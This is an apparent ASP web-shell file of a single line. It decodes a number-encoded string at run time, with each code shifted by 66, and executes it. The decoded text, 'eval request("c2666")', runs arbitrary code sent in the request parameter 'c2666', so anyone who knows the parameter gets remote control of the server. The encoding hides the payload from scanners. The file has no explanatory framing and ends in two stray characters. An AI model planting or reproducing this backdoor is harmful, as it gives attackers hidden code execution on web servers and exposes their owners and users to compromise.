<% eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%165%116%120%120%120%100%107")) Function fun(Str): Str = Split(Str,"%") For x=1 To Ubound(Str) fun=fun&Chr(Str(x)-66) Next End Function %> ӯƱ